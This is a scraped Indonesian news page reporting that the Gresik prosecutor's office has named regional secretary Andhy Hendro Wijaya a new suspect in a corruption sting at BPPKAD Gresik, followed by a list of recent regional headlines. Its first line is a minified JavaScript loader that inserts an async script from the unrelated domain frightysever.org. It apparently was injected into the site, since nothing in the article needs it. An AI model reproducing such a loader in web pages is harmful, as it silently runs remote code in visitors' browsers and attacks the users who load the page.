(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Jawa Timur

Kejari Tetap Sekda Gresik Tersangka Baru Kasus OTT


GRESIK, Akhirnya Sekretaris Daerah (Sekda) Kabupaten Gresik, Jawa Timur, Andhy Hendro Wijaya, jadi tersangka baru terkait kasus OTT di BPPKAD Gresik. Kejaksaan Negeri (Kejari) Gresik, menetapkan status tersangka yang bersangkutan pada Senin (21/10) malam, setelah mangkir memenuhi panggilan keempat.

Kepala Kejaksaan Negeri (Kajari) Gresik, Pandoe Pramoe Kartika kepada awak media menyatakan, bahwa status penyidikan pengembangan OTT di BPPKAD Gresik, menetapkan tersangka baru yakni Sekda Gresik, Andhy Hendro Wijaya.

Sebelumnya, Kejari telah menetapkan M. Mukhtar, sebagai tersangka dan kini ditahan. “Sekda Gresik Andhy Hendro Wijaya kita tetapkan sebagai tersangka baru dalam kasus OTT di eks kantor yang pernah dipimpinnya. Penetapan status tersangka itu sesuai dua alat bukti yakni saksi dan barang bukti,” ujar Pandu.

Dikatakannya, penyidik mengembangkan kasus OTT tersebut berdasarkan putusan Pengadilan Tipikor.  Masih menurut Pandu, tersangka Andhy telah dipanggil sudah empat kali. Saat itu, yang bersangkutan masih berstatus saksi. Sayangnya, setiap kali dipanggil, ia selalu mangkir tanpa alasan jelas.

Bahkan saat penyidik Kejari mendatangi kediaman dan kantornya, tersangka tidak ada di tempat. “Kita sudah berupaya datang ke kediaman dan kantornya, tetapi tidak ada. Bahkan Bupati Gresik melalui suratnya menyatakan tersangka tidak ada perintah dinas luar,” kata Pandu.

Ditambahkan Kajari, penyidik dalam waktu dekat akan segera memanggil Andhy sebagai tersangka. Namun, jika panggilan ini tersangka tidak datang maka kejaksaan akan menerbitkan DPO. “Tersangka akan didakwa dengan pasal 12 e, 12 f UU tindak pidana Korupsi,” jelasnya.

Seperti diberitakan, mantan Kepala BPPKAD Gresik tahun 2018 yang saat ini menjabat Sekda Gresik ikut bertangung jawab atas pemotongan jasa insentif di BPPKAD Gresik. Dalam OTT penyidik Pidsus waktu itu hanya menetapkan satu tersangka yakni M. Mukhtar.

Tersangka M. Muhtar telah divonis bersalah dan dijatuhi hukuman empat tahun. Meski kini masih proses banding. Selain itu, dalam amar putusan, Majelis Hakim juga memerintahkan agar penyidik melakukan pengembangan dengan memeriksa pihak-pihak terkait yang ikut bertanggung jawab pada perkara ini. (Muh)

Reporter : Muh
Editor : Chell


Desy Arfianty

Recent Posts

Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More

13 jam ago

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

16 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

20 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

20 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

21 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

22 jam ago

This website uses cookies.